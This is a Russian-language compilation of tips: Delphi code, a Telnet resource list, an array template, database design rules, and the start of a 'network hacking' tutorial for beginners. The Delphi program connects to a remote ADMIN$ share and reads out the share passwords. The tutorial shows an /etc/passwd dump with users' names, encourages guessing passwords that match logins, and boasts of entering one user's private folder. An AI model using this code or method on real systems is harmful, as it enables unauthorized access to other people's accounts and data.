    shi50_flags: Short; //флаг доступа
    shi50_remark: PChar; // комментарий
    shi50_path: PChar; // путь к ресурсу
    shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
    shi50_ro_password: array[0..SHPWLEN] of Char;
      //пароль "только чтение" доступа
  end;
  TShareEvent = record //информация о сетевом ресурсе
    Res: Integer;
    ReadOnlyPassword: string;
    FullAccessPassword: string;
    Comments: string;
    Path: string;
  end;
  < A name = form > < / A >
    TForm1 = class(TForm)
    edComputerNetName: TEdit;
    Button1: TButton;
    ComboBox1: TComboBox;
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    lbReadOnlyPassword: TLabel;
    edReadOnlyPassword: TEdit;
    lbFullAccessPassword: TLabel;
    edFullAccessPassword: TEdit;
    lbComments: TLabel;
    edComments: TEdit;
    lbPhysicalPath: TLabel;
    edPhysicalPath: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
  private
    { Private declarations }
    procedure FillShareEnum(Items: TStrings);
    function GetComputerNetName: string;
    function GetShareInfo(ComputerNetName, ResourceNetName: string):
      TShareEvent;
    procedure ConnectAdmin;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
function NetShareGetInfo(const pszServer: PChar; const pszNetName: PChar;
  sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word;
  var pcTotalAvail: Word): DWORD; stdcall; External 'svrapi.dll' name
    'NetShareGetInfo';
function NetShareEnum(const pszServer: PChar; sLevel: SmallInt;
  pbBuffer: Pointer; cbBuffer: Word; var pcEntriesRead: Word;
  var pcTotalAvail: Word): DWORD; stdcall; external 'svrapi.dll';
implementation
{$R *.DFM}
procedure TForm1.ConnectAdmin;
var
  CompName: string;
  Res: Integer;
  lpNetResource: TNetResource;
  ComputerName: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
  BufSize: Integer;
begin
  //получим имя локальной машины
  BufSize := MAX_COMPUTERNAME_LENGTH + 1;
  GetComputerName(@ComputerName, BufSize);
  CompName := string(ComputerName);
  //если имя локальной машины совпадает с сетевым именем машины,
  //значит идет запрос о сетевом ресурсе локальной машины -
  //в этом случае ADMIN$ не нужен
  if AnsiUpperCase(CompName) = AnsiUpperCase(edComputerNetName.Text)ThenExit;
  //заполним нолями значение указателя
  ZeroMemory(@lpNetResource, SizeOf(lpNetResource));
  //укажем нужные значения
  with lpNetResource do
  begin
    dwType := RESOURCETYPE_ANY;
    lpRemoteName := '';
    lpRemoteName := PChar('\\' + edComputerNetName.Text + '\ADMIN$' + #0);
  end;
  //Сезам, откройся!
  Res := WNetAddConnection3(Application.Handle, lpNetResource, nil, nil,
    CONNECT_INTERACTIVE);
  //Сезам, к сожалению не открылся...
  if not (Res = NO_ERROR) then
  begin
    ShowMessage('With out connected resource ''ADMIN$'' a work impossible!');
    Application.Terminate;
  end;
end;
function TForm1.GetShareInfo(ComputerNetName, ResourceNetName: string):
  TShareEvent;
var
  pbBuffer: ^TShareInfo50; //указатель на буфер
  Buf: TShareInfo50; //сам буфер
  Res: Integer;
  pcTotalAvail: Word; //количество считанных байт
begin
  with Result do //почистим результат функции
  begin
    res := 0;
    ReadOnlyPassword := '';
    FullAccessPassword := '';
    Comments := '';
    Path := '';
  end;
  FillChar(Buf, SizeOf(Buf), #0); //заполним буфер нолями
  //ничего не укажем о нашем буфере и выполним функцию, в результате чего
  //получим в переменную pcTotalAvail количество считанных байт.
  NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50, nil, 0,
    pcTotalAvail);
  //инициализируем буферный указатель и дадим ему нужное количество памяти
  GetMem(pbBuffer, pcToTalAvail);
  //поместим в буфер имя сетевого ресурса, зачем не знаю - имя мы уже и так
  //указываем, но без этого функция почему-то не работает, по крайней мере у меня
  StrPCopy(pbBuffer^.shi50_netname, ResourceNetName);
  //выполним функцию еще раз уже указав параметры буфера
  Res := NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50,
    pbBuffer, pcTotalAvail, pcTotalAvail);
  if Res = 0 then //все в порядке
  begin
    //передадим данные из указателя в "обычную" переменную
    Buf := pbBuffer^;
    //заполним результат полученными значениями
    Result.ReadOnlyPassword := string(Buf.shi50_ro_password);
    Result.FullAccessPassword := string(Buf.shi50_rw_password);
    Result.Comments := string(Buf.shi50_remark);
    Result.Path := string(Buf.shi50_path);
  end;
  //освободим указатель
  FreeMem(pbBuffer);
end;
procedure TForm1.FillShareEnum(Items: TStrings);
var
  ShareInfo: array[0..MaxNetArrayItems - 1] of TShareInfo50;
  EntriesRead, TotalAvial: Word;
  Res: Integer;
  N: Integer;
begin
  Items.Clear; //почистим Items
  FillChar(ShareInfo, SizeOf(ShareInfo), #0); //заполним буфер нолями
  Res := NetShareEnum(PChar('\\' + edComputerNetName.Text), 50, @ShareInfo,
    SizeOf(ShareInfo),
    EntriesRead, TotalAvial); //имя сетевой машины возьмем из строки ввода,
  //предварительно озаглавив его двумя обратными слэшами
  if Res = No_Error then //функция выполнена без ошибок
    for N := 0 to EntriesRead - 1 do
      //пройдемся по буферу считанных имен ресурсов
      if not (string(ShareInfo[N].shi50_netname) = '') then
        Items.Add(string(ShareInfo[N].shi50_netname));
          //добавим имя машины в список
end;
function TForm1.GetComputerNetName: string;
var
  RootItemIDList: PItemIDList;
    //идентификатор объекта в пространстве имен проводника
  BrowseInfo: TBrowseInfo; //структура, в которой содержится информация о диалоге
  Buffer: PChar; //сюда получим имя компьютера
begin
  Result := '';
  //получим нужный идентификатор PItemIDList, CSIDL_NETWORK - в сетевом окружении
  if not (SHGetSpecialFolderLocation(0, CSIDL_NETWORK, RootItemIDList) =
    NO_ERROR) then
    Exit;
  //подготовим буфер, в который получим имя компьютера
  GetMem(Buffer, Max_Path);
  FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
  //подготовим структуру TBrowseInfo
  with BrowseInfo do
  begin {With BrowseInfo}
    hwndOwner := Application.Handle; //хозяин окна - наше приложение
    pidlRoot := RootItemIDList; //полученный ранее идентификатор
    // объекта в списке объектов проводника
    pszDisplayName := Buffer; //имя компьютера будем принимать в Buffer
    lpszTitle := 'Подключенные компьютеры'; //заголовок диалога
    ulFlags := BIf_BROWSEFORCOMPUTER; //будут показаны имена только компьютеров
  end; {With BrowseInfo}
  //выполним нужную функцию
  if SHBrowseForFolder(BrowseInfo) = nil ThenExit;
  Result := string(Buffer); //вот оно - сетевое имя компьютера
  FreeMem(Buffer);
end;
procedure TForm1.Button1Click(Snder: TObject);
begin
  edComputerNetName.Text := GetComputerNetName;
  FillShareEnum(ComboBox1.Items);
  ComboBox1.ItemIndex := 0;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var
  ShareEvent: TShareEvent;
begin
  if (edComputerNetName.Text = '') or (ComboBox1.Text = '') then
  begin
    edComputerNetName.SetFocus;
    Exit;
  end;
  ConnectAdmin;
  ShareEvent := GetShareInfo('\\' + edComputerNetName.Text, ComboBox1.Text);
  edReadOnlyPassword.Text := ShareEvent.ReadOnlyPassword;
  edFullAccessPassword.Text := ShareEvent.FullAccessPassword;
  edComments.Text := ShareEvent.Comments;
  edPhysicalPath.Text := ShareEvent.Path;
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
  Close;
end;
end.

Другие ресурсы, доступные через TELNET.

ndlc.occ.uky.edu или 128.163.38.10(Login: nolc)
База данных дистанционного образования
acsvax.open.ac.uk
или 137.108.48.24
(Username: ICDL, Acconut Code: usa Password: aaa)
Open University(UK)
newton.dep.anl.gov или 130.292.92.50(Login: bbs)
BBS для тех, кто преподает / изучает естественные науки,
математику
martini.eecs.umich.edu 3000
или 141.212.99.9 3000 - информация о городах США,
население, географическое положение и др.
locis.loc.gov или 140.147.254.3
marvel.loc.gov или 140.147.2.69
библиотека конгресса США
e - math.ams.com или 130.44.1.100(Login / Password: e - math)
американское матем.общество, BBS,
програмное обеспечение, обзоры.
gemm.com
база данных о CD и музыкальных клубах
enews.com(Login: enews)
электронные журналы(выберите Elec.Serials)
rusinfo.rus.uni - stuttgart.de или 129.69.1.12(Login: info)
Предлагает: журналы, UNIX - материалы, книги и др.
culine.colorado.edu 859 / 128.138.129.170 859
Расписание NBA
culine.colorado.edu 860 / 128.138.129.170 860
Расписание NHA
Archie(поиск нужных файлов
  по всем анонимным FTP серверам)
elnet archie.sura.net or 128.167.254.194(Login: archie)
archie.unl.edu or 129.93.1.14
archie.ans.net or 147.225.1.10
archie.rutgers.edu or 128.6.18.15

Здесь приведены только Archie-серверы, расположенные в США, более подробный список приведен в разделе о FTP.

Gopher
telnet consultant.micro.umn.edu или 134.84.132.4
infoslug.ucsc.edu или 128.114.143.25[INFOSLUG]
infopath.ucsd.edu(Login: infopath)
Netfind User Lookup
(поиск адреса, места работы пользователя и т.п.)
telnet bruno.cs.colorado.edu
или 128.138.243.150(Login: netfind)
cobber.cord.edu или 138.129.1.32
pascal.sjsu.edu или 130.65.86.15
mudhoney.micro.umn.edu или 134.84.132.7
redmont.cis.uab.edu или 138.26.64.4
ds.internic.net или 198.49.45.10
netfind.oc.com или 192.82.215.88
archie.au или 139.130.4.6
netfind.anu.edu.au или 150.203.2.14
netfind.if.usp.br или 143.107.249.132
netfind.ee.mcgill.ca или 132.206.62.30
malloco.ing.puc.cl или 146.155.1.43
netfind.vslib.cz или 147.230.16.1
nic.nm.kr или 143.248.1.100
lincoln.technet.sg или 192.169.33.6
nic.uakom.sk или 192.108.131.12
monolith.cc.ic.ac.uk или 155.198.5.3
lust.mrrl.lut.ac.uk или 158.125.220.7
dino.conicit.ve или 150.188.1.10
Whois Services
поиск по ключевому слову адреса в Internet)
telnet rs.internic.net или 198.41.0.5(Login: whois)
info.cnri.reston.va.us 185(Knowbot Info Serv.)
garam.kreonet.re.kr или 134.75.30.11(Login: nic)
paradise.ulcc.ac.uk или 128.86.8.56(Login: dua)
WAIStation(Wide Area Information Service)
telnet quake.think.com или telnet 192.31.181.1(Login: swais)
wais.com или telnet 192.216.46.98
swais.cwis.uci.edu или 128.200.15.2
sunsite.unc.edu или telnet 198.86.40.81
info.funet.fi или 128.214.6.100(Login: info)
wais.nis.garr.it или 192.12.192.10(Login: wais)

Программы-клиенты.

Работа с TELNET возможна и с помощью программ-клиентов, функционирующих под более употребительными операционными системами DOS и/или MS-Windows. Один из примеров - free-пакет NCSA Telnet для DOS или WinQVT для Windows.

Обычно пакеты снабжены подробной информацией для инсталляции и тщательной настройки. Если и возникают проблемы, то они связаны больше с таблицами кодировок кириллицы или адекватной реакцией от нажатия комбинаций клавиш или при вызове таких программ как deco или Midnight Commander под UNIX.

Шаблон массива переменной длины.

Автор: Ed Jordan Может ли кто мне подсказать как динамически создать массив записей и получить доступ к отдельным элементам? Определите тип массива, которым может содержать максимальное количество записей, затем определите тип, являющийся указателем на массив. Идея заключается в том, чтобы не создавать экземпляр самого большого массива; а вместо этого использовать указательный тип и GetMem для распределения памяти для необходимого вам количества записей.

Я разработал то, что я называю шаблоном массива переменной длины "для бедных людей"...

unit %s;
{ -----------------------------------------------------------
ШАБЛОН МАССИВА ПЕРЕМЕННОЙ ДЛИНЫ
Вы можете использовать этот шаблон для создания массива
переменной длины любого типа данных.
Для того, чтобы превратить шаблон с модуль, прогоните его
через текстовый процессор, выполните во всем файле операцию
поиска/замены для замены знака процента на ваш тип данных.
----------------------------------------------------------- }
interface
const
  %MaxCapacity = High(Cardinal) div SizeOf(%);
type
  T%Index = 0..%MaxCapacity - 1;
  T%s = array[T%Index] of %;
  P%s = ^T%s;
function %sSize(Capacity: T%Index): Cardinal;
function Get%s(Capacity: T%Index): P%s;
function Resize%s(var P: P%s;
  OldCapacity, NewCapacity: T%Index): P%s;
procedure Free%s(var P: P%s; Capacity: T%Index);
implementation
uses SysUtils;
function %sSize(Capacity: T%Index): Cardinal;
begin
  Result := Capacity * SizeOf(%);
end;
function Get%s(Capacity: T%Index): P%s;
begin
  GetMem(Result, %sSize(Capacity));
end;
function Resize%s(var P: P%s;
  OldCapacity, NewCapacity: T%Index): P%s;
begin
  ReAllocMem(P, %sSize(OldCapacity), %sSize(NewCapacity));
end;
procedure Free%s(var P: P%s; Capacity: T%Index);
begin
  FreeMem(P, %sSize(Capacity));
  P := nil;
end;
end.
Приведенный выше модуль определяет тип массива и тип-указатель на массив, далее я приведу четыре полезные подпрограммы для работы с ним.

Вот модуль, использующий после операции поиска и замены (см. выше) тип записи 'MyRecord', содержащий также определение этой записи. Поскольку "MyRecords" было очень длинным для имени модуля, я укоротил его. Имейте в виду, что PMyRecords - тип вашего переменного массива, если вы используете этот модуль.

unit MyRecs;
interface
type
  MyRecord = record
    AnInt: Integer;
    AString: string[10];
  end;
const
  MyRecordMaxCapacity = High(Cardinal) div SizeOf(MyRecord);
type
  TMyRecordIndex = 0..MyRecordMaxCapacity - 1;
  TMyRecords = array[TMyRecordIndex] of MyRecord;
  PMyRecords = ^TMyRecords;
function MyRecordsSize(Capacity: TMyRecordIndex): Cardinal;
function GetMyRecords(Capacity: TMyRecordIndex): PMyRecords;
function ResizeMyRecords(var P: PMyRecords;
  OldCapacity, NewCapacity: TMyRecordIndex): PMyRecords;
procedure FreeMyRecords(var P: PMyRecords; Capacity: TMyRecordIndex);
implementation
uses SysUtils;
function MyRecordsSize(Capacity: TMyRecordIndex): Cardinal;
begin
  Result := Capacity * SizeOf(MyRecord);
end;
function GetMyRecords(Capacity: TMyRecordIndex): PMyRecords;
begin
  GetMem(Result, MyRecordsSize(Capacity));
end;
function ResizeMyRecords(var P: PMyRecords;
  OldCapacity, NewCapacity: TMyRecordIndex): PMyRecords;
begin
  ReAllocMem(P, MyRecordsSize(OldCapacity),
    MyRecordsSize(NewCapacity));
end;
procedure FreeMyRecords(var P: PMyRecords; Capacity: TMyRecordIndex);
begin
  FreeMem(P, MyRecordsSize(Capacity));
  P := nil;
end;
end.

Наконец, вот пример использования массива переменной длины. Помните, что указатель должен использоваться с символом "^"...

procedure TForm1.Button1Click( Sender: TObject );
var
  P: PMyRecords;
begin
  P := GetMyRecords( 10 );
  try
    P^[ 0 ].AnInt := 2001;
    P^[ 0 ].AString := 'Космическая одиссея';
  finally
    FreeMyRecords( P, 10 );
  end;
end;

Десять заповедей разработчика.

Оформил: DeeCo

Автор: Виноградов С. А.

Здесь перечислены общие рекомендации по избежанию наиболее популярных граблей, по которым так любят ходить разработчики баз данных. Хочу лишь отметить один факт — нарушение перечисленных требований приводит к резкому увеличению времени разработки, росту количества ошибок, неоправданным сложностям в сопровождении и в конечном итоге, к провалу всего проекта.

1. Стандартные имена.

Не парьте мне мозги.

Одной сущности должно соответствовать всегда одно имя — это правило, в котором не может быть исключений.

Написание имен должно быть максимально стандартизировано. Регистр букв также важен, даже если средство разработки его не учитывает (зато регистр хорошо учитывается людьми, хотя многие об этом и не подозревают). Лучше всего использовать слова английского языка, без сокращений. Большинство средства разработки не поддерживает идентификаторы, состоящие из букв других языков — и правильно делает. Немногочисленные стандартные аббревиатуры и сокращения должны быть описаны в специальном словаре.

Пример: Если типу объекта соответствует имя ObjectType, то в обращении не должно быть имен вроде ObjType, Objecttype или OBJ_TYPE.

Использование стандартных имен позволяет сэкономить кучу времени, необходимого на поиск нужного имени, а также избежать возможных недоразумений.

2. Отсутствие загадочных значений.

Что это за хрень?

Часто неопытные разработчики используют какие-нибудь поля для хранения значений вроде 0, 1, 2 и т.п. Эти поля не ссылаются на другую таблицу, зато используются где-нибудь в выражениях:

if State = 2 then ... else ...

Все ведь понятно, не правда ли? Немногим лучше выглядит и такой вариант: «U», «T», «S». Кто угадает, что здесь означает «U»?

Правильным решением будет создание отдельной таблицы (Id, Code, Name, Note), содержащей набор возможных значений для этого поля. В поле же надо хранить идентификатор (Id) значения из этой таблицы, при необходимости используя код и наименование значения.

Отсутствие загадочных значений освобождает память разработчика от ненужного мусора и уменьшает вероятность возникновения ошибок и непонимания.

3. Поменьше ограничений.

Не создавай граблей на пустом месте.

Таблицы и поля стоит создавать с достаточно большим запасом прочности, чтобы не было потом мучительно больно.

Если в задании написано, что какой-нибудь код содержит 17 символов, совсем необязательно понимать это буквально и объявлять поле как char(17). Ведь завтра требования могут измениться, и уже понадобится 22 символа или больше. Гораздо лучше выглядит varchar(120), а места оно занимает не больше.

Когда создается таблица с предполагаемым числом записей не больше нескольких тысяч, вполне разумным кажется использование smallint (2-хбайтовое целое) поля в качестве первичного ключа. А что же будет, если количество записей все-таки превысит 32 тысячи? Придется менять первичный ключ в этой таблице и все внешние ключи, ссылающиеся на нее. Этого можно было бы избежать, сразу сделав первичный ключ размеров в 4 байта.

Кажется, что всегда можно легко произвести любые необходимые изменения в структуре базы данных, однако это далеко не так. База может находиться в круглосуточной работе, в репликации, может быть уже заполненной многомиллионными данными и т.п. И экономия на байтах здесь не уместна.

Отсутствие мелочных ограничений позволяет разработчику не думать о них и создавать более устойчивые и гибкие структуры.

4. Одинаковые ключи.

Надо быть проще.

В качестве первичных ключей для всех таблиц сущностей лучше всего использовать суррогатные ключи достаточно большого размера (4—16 байт). При этом, все такие ключи должны быть одного типа.

Благодаря этому, многие проблемы уходят и никогда не возвращаются (разве что в кошмарах). Так как ключ суррогатный, то отпадает необходимость поиска и использования естественного ключа (часто составного). Из-за большого размера ключа не возникает ситуация его переполнения. Наличие у всех сущностей идентификатора одного типа позволяет организовать стандартную работу с этими сущностями.

Единственной проблемой может стать наличие двусторонней репликации между базами данных. Но это легко решается использованием глобального идентификатора в качестве ключа либо разделением диапазонов выделенных для ключей в разных БД.

Одинаковые ключи дают возможность работать с разными сущностями одинаковыми методами, часто используя один и тот же код.

5. Независимость данных.

Надо быть гибче.

Нормализация и еще раз нормализация — вот залог жизнеспособности любой базы данных.

Как учат классики, все отдельные сущности должны быть выделены в отдельные таблицы. При этом связь с ними осуществляется по первичному ключу. Одинаковые сущности, наоборот, сводятся в одну таблицу. Зависимости между разными сущностями должны быть минимальны.

Из-за несовершенства SQL (и особенно его реализаций), полностью нормализованная БД может оказаться плохо приспособленной к получению сложных запросов. Поэтому, в исключительных случаях, допускается некоторое дублирование информации для ускорения выборок.

Независимость отдельных сущностей может упростить проект и добавить ему гибкости.

6. Неповторяющийся код.

Долой Copy&Paste!

Казалось бы, тривиальное правило, гласящее, что повторяющийся код надо выносить в отдельные функции, знает даже самый неграмотный программист. Однако в случае с SQL все не так просто.

Дело в том, что SQL изначально не предназначен для создания функций, процедур, триггеров и, соответственно, не предполагает для них никакого стандарта. Поэтому у всех SQL-серверов есть свои собственные расширения для написания бизнес-логики. Эти расширения не совместимы друг с другом, а их уровень варьируется от достаточно высокого до совершенно убогого (лишь бы было).

Иногда даже опытные разработчики, впервые столкнувшись с неадекватными SQL-расширениями, впадают в какой-то ступор и забывают все свои навыки, пытаясь использовать навязанные им приемы работы. При этом, часто пишут кучу однообразных триггеров и процедур, выполняющих одинаковые действия для разных таблиц. Тем не менее, правило повторного использования кода никто еще не отменял, и обычно его везде можно применять, хотя и не всегда очевидным образом (например, передавая имя таблицы в качестве параметра).

Повторное использование улучшает качество кода и рекомендуется к применению везде, даже если средство разработки этого не поощряет.

7. Обработка ошибок.

Invalid programmer is detected. Abort, Remove, Must Die?

Такое же стандартное правило, как и предыдущее — если хочешь, чтобы программа делала то, что нужно, необходимо проверять результат выполнения каждой функции (и каждого SQL-оператора).

В клиентском приложении должны везде проверяться коды ошибок вызываемых функций. При возникновении ошибки, ее стоит записать в лог-файл, а пользователю должно быть показано уже обработанное внятное сообщение на человеческом языке. То есть вместо «Network link failur» надо вывести «У вас сеть отвалилась, дальнейшая работа невозможна».

Если в приложении все более-менее понятно, то при написании процедур на SQL-сервере разработчики, видимо, надеются, что сервер сам прекратит выполнение процедуры при возникновении ошибки. Как бы не так. После каждого SQL-оператора обязательно должен проверяться и обрабатываться код последней ошибки.

Правильность работы программы не может быть обеспечена без тотальной обработки ошибок.

8. Короткие транзакции.

Скажи блокировкам — НЕТ!

Большинство SQL-серверов используют технологию блокировок при любой модификации данных. То есть, данные, измененные в транзакции одним из пользователей, недоступны для других пользователей до завершения этой транзакции.

Совсем избежать блокировок нельзя, однако можно уменьшить продолжительность транзакций. Для этого перед выполнением транзакции для нее должны быть уже подготовлены все необходимые данные. Внутри транзакции не должно быть никаких обращений к внешним устройствам (файлам, сети и т.п.) — только к базе данных. Ситуация, когда внутри транзакции происходит диалог с пользователем, тем более недопустима.

Короткие транзакции дают возможность большему числу пользователей одновременно работать с базой данных, не конфликтуя друг с другом.

9. Наличие метаданных.

Кому нужна база без головы?

Метаданные описывают структуру базы данных и взаимосвязи ее объектов.

При некоторых манипуляциях с базой данных может потребоваться информация о том, какие сущности хранятся в этой базе, в каких таблицах и полях, как они связаны друг с другом. Частично эту информацию можно получить из системного каталога SQL-сервера. Но системный каталог предназначен скорее не для разработчика, а для внутреннего использования самим сервером, поэтому найти там что-либо весьма проблематично. При этом, его структура может меняться даже в разных версиях одного сервера, не говоря уже об отсутствии какой-либо совместимости с другими SQL-серверами.

Даже довольно неполные метаданные имеют широкую область применения. Но чаще всего они используются для упрощения собственной работы программистов, вплоть до автоматической генерации приложения и объектов БД.

Наличие метаданных дает полную информацию о базе данных, облегчая разработчикам решение многих задач.

10. Хранение истории.

Кто владеет прошлым — тот владеет будущим.

Большинство объектов, хранящихся в базе данных, могут меняться с течением времени.

К сожалению, почти все современные СУБД не хранят историю изменений и не позволяют получить состояние объектов на определенную дату. Об этом должен позаботиться разработчик базы данных.

Только база данных, которая хранит всю историю изменений всех своих объектов, может претендовать на полноту и завершенность. Иначе простейший запрос, вроде «Дайте список объектов в том виде, в котором они были на 01.04.1997 г.», так и останется без ответа.

Любая база данных, хранящая изменяемые объекты, должна содержать полную историю всех их изменений.

Десять уроков сетевого хака.

Оформил: DeeCo

Для самых начинающих...

Сетевые хаки это круто и просто. Однако, как именно, и что именно нужно делать знают еще далеко не все. В народе очень популярны exploit, -то есть готовые инструментарии для взлома, написанные другими хакерами. Но, во-первых, это не интересно и ставит в зависимость от тех, других хакеров (дадут ли они нам или опять зажмут все самое ценное?), а во-вторых, они очень быстро перестают работать - дырки-то затыкаются, а свежих exploit раз два и обчелся, да и те устаревают не по дням, а по часам. Пусть среди аминов много лохов, но и они начинают чесаться, когда их взломают раз - другой кряду. Поэтому единственная возможность учится ломать самим. Самим искать дыры и писать простейший инструментарий для взлома. Однако, как бы это ни было просто, но все же требует определенной усидчивости и умственных усилий. Зато потом можно не просто считать себя хакером, но и быть им! Стоит ли одно другого? Несомненно! Тогда - в путь.. Путь долгий и тернистый. Ведь в двух словах, как это ломают, не расскажешь. Но за десять уроков мы обязательно справимся! (Примечание:эта серия была задумана для журнала "Хакер", но отклонена редакцией, поэтому остальные статьи написаны не были, да и вряд ли будут. Разве, что по настоятельным просьбам читателей. Пишите, если хотите увидеть продолжение) Запасайтесь пивом и быстренько подключайтесь к интернату (начальный доступ у вас все же должен быть). Сейчас начнется самое интересное! УРОК ПЕРЫЙ Как утащить etc/passwd

ALMA MATER

В конференциях RU.HACKER и RU.NETHACK периодически вспыхивают дискуссии: как утащить из-под лап администратора знаменитый файл etc/passwd? А после того, как утащили - что с ним можно делать? Сказывают, что якобы там хранится несметное количество паролей, логинов, аккаунтов, словом всего, что только пасется на этом сервере. Другие же утверждают, что нет там ничего, а если что и есть, так оно зашифровано и никакой жизни не хватит, что бы вернуть его в читабельное состояние. Кто же из них прав? Тем более, что некоторые уже не раз оглашали мир радостным мявом, что, дескать, пароли они утащили и сейчас будут сидеть их расшифровывать. Конечно, же, ни с кем другим они делиться своим богатством не собираются! Ну и не надо! Мы и сами с усами! Вот как пойдем по ссылке http://kpnc.webprovider.com/hack.pl да и посмотрим etc/passwd одного далекого заокеанского провайдера, да еще в читабельном виде. Вот, что мы увидим на экране!(Тут надобно заметить, что если стоит Netscape, то ничегошеньки видно не будет; а если мы установили IE 4.0 (5.0) и не все равно ничего не видно, - так это просто надо подождать, - файл etc/passwd очень длинный, и если канал у вас не шибко быстрый, то перекачка может занять, возможно, очень длинное время, - ждите тогда) Наконец на экране появится следующее: Пожалуйста, постетите этот сайт PRO HACK DISPLAY ETC/PASSWORD FILE... LOGIN NAME DIR root System Administrator /root toor System Administrator /root daemon System Daemon / sys Operating System /tmp bin BSDI Software /usr/bsdi operator System Operator /usr/opr uucp UNIX-to-UNIX Copy /var/spool/uucppublic games Games Pseudo-user /usr/games news USENET News,,, /var/news/etc demo Demo User /usr/demo mail Sendmail /var/spool/mail brian Brian Atkins,,, /export/home/brian kannada Narendra Tumkur /disk1/k/kannada pumpkin2 liao xin /disk1/p/pumpkin2 lost508 no idea /disk1/l/lost508 essepi Salvatore Calarco /disk1/e/essepi rajatbhasin Rajat Bhasin /disk1/r/rajatbhasin panze Congo Koa /disk1/p/panze goni1 Naseer Bhatti /disk1/g/goni1 madmama patty noland /disk1/m/madmama yccwp yang changchun
/disk1/y/yccwp
Выше показана только малая часть от всей таблицы. Правда, паролей там нет. То есть они не показы в явном виде - законодательство надо же соблюдать хотя бы формально. Как их получить об этом будет рассказано ниже. А пока можно изучив список логинов юзеров, попробовать угадать, кто же из них окажется таким лохом, что выберет короткий пароль, или что еще лучше пароль совпадающий с логином. Уверяю вас, таких лохов значительно больше одного, так что на всех хватит, не говоря уже о такой халяве как LOGIN NAME DIR demo Demo User
/usr/demo
На этом наш первый маленький взлом можно считать завершенным. Теперь разберемся, что же в действительности произошло и можно ли так ломать других провайдеров или нет? ЧТО ЭТО БЫЛО? Так что же произошло на самом деле? Хитрый автор только дал кликнуть по ссылке, а все остальное сделал сам. Это конечно хорошо, но будет лучше, если не только дать рыбу, но еще и научить ее ловить! Рыбу ловить изволите? В самом деле? Тогда приготовьтесь, что это будет долгий и муторный процесс, но зато потом вы станете настоящим хакером (шутка, однако)! Итак, начнем разбираться, с премудростями автора. Для начла заглянем внутрь файла nethackk1.htm (для этого в меню "Вид" браузера выберем "просмотр в виде HTML") - нам представится следующие: <СЕNТЕR><В>Ты хочешь посмотреть etc/pasw одного провайдера?<BR> Тогда <a href="http://kpnc.webprovider.com/hack.pl">ЖМИ</а> Не нужно быть посвященным в тонкости программирования HTML, что бы понять, что выделенная жирным красным цветом строка - перенаправила нас на другой сервер и попыталась открыть, хм, какой-то "hack.pl" Странно? А почему не html? Ну что же, попробуем открыть hack.pl самостоятельно. Наберем эту строчку в окне браузера, - как вновь выскочит табличка с паролями. Быть может это hack.pl и есть? И автор нас просто разыграл, - смастерил фэйк, то есть составил эту таблицу от балды? Но нетрудно убедиться, что таблица эта живет своей "жизнью" - уходят одни пользователи - добавляются новые и самое главное, что все логины правильные! Возьмем один, выбранный наугад. Вот, например, madmama. Что скрывается за ним? Набираем в строке браузера "madmama.webprovider.com" и что мы видим? Index of / Name Last modified Size Description [DIR] Parent Directory 09-Oct-1999 11:10 - - [DIR] _private/ 09-Oct-1999 11:30 - - [TXT] form.html 09-Oct-1999 12:26 1k - [DIR] images/ 09-Oct-1999 11:30 - - [TXT] irc.html 09-Oct-1999 12:21 0k - [TXT] mamairc.html 09-Oct-1999 12:18 4k - [TXT] postinfo.html 09-Oct-1999 11:30 2k - [TXT] thank_you.html 09-Oct-1999 12:26 1k
-
Эге! Да тут директория _private. А ну, пустят нас в нее или нет? Кликнем мышеем и замираем, сердца ждем. Вот черт не пускают! А узнать, что там ой как хочется! Ну что же, попробуем атаковать "в лоб". Вводим пароль "madmama" и с нетерпением ждем... Держите нас, это сработало!!! (Впрочем, к моменту выхода статьи в свет, MadMama может малость поумнеть и пароль свой сменить) [так оно и случилось - К.К.] Ну и что же в приватах? Гм, одна большая dbf с названием prices. А, ну прайс - по русски. Словом, ничего интересного. Но вот сам факт взлома! А юзеров-то на сервере сотни, поэтому это увлекательно путешествие можно только продолжать и продолжать! Ладно, все это очень интересно, но как же автор утянул, сей ценный стуфф? И не боится ли он, что к выходу статьи в свет его прикроют? Разумеется, нет, и я готов поделиться с вами своим ББС (большим буржуинским секретом). Ведь никакого взлома автор не совершал. Файл Etc/password доступен с теми правами, которые ему (да и любому другому пользователю) выделил администратор. И нечего огород городить! Etc/password это общедоступный ресурс - во всяком случае на чтение и всякий может его поглядеть было бы желание! А администратор вовсе не лох - ведь паролей в etc/password нет, как мы в этом в последствии убедимся. Однако, как мы выяснили, что пароли для взлома не всегда обязательны, - достаточно вполне знать логины и проявить малость интуиции и находчивости. К тому же мы многое смогли узнать и о сервисах самого провайдера, о которых он почему-то публично умалчивает. Например, мы ясно видим, что сервер новостей установлен: games Games Pseudo-user /usr/games news USENET News,,,
/var/news/etc
Но если просканировать порты сервера (любой программой, например NetInfo), то нас грязно обломают и скажут, что никаких тут ньюсов нет. Вот так: Ну, как дорваться до ньюсов, это тема отдельного разговора, а вот простенький сендмайл можно юзать и так. Порты открытые - как на POP3 (то есть чтение почты), так на SMTP (то есть ее отправку). Впрочем, и почту и ньюсы ломать не интересно - другое дело еще раз взглянуть на etc/password! Только как? Попробует подрубаться по ftp (ну, а как же иначе-то) Набираем в браузере "ftp://ftp.werbprovider.com" так нас грязно пошлют подальше. Да и если бы не послали, - все равно бы мы ничего не смогли увидеть. Ведь все директории, которые видны по WWW или FTP - это виртуальные директории, которые ничего не имеют общего с физически, расположенными на диске. И оттуда etc/password действительно никогда (ну разве что очень-очень редко) не бывает виден. Как же автор получил его? Очень просто - исполнил на удаленной машине скрипт... СКРИПТЫ. Что-то сделал автор? Говорит, запустил скрипт на удаленной машине? Но что это значит? Давайте разбираться. Вероятно, читатель уже сталкивался с различными скриптами, в web-страничках. Обычно они написаны на Java или Visual Basic. Ну, а если не сталкивался - так это не беда, можно установить Нетскейпу и совсем немного пробродить по Иннету, как тот начнет 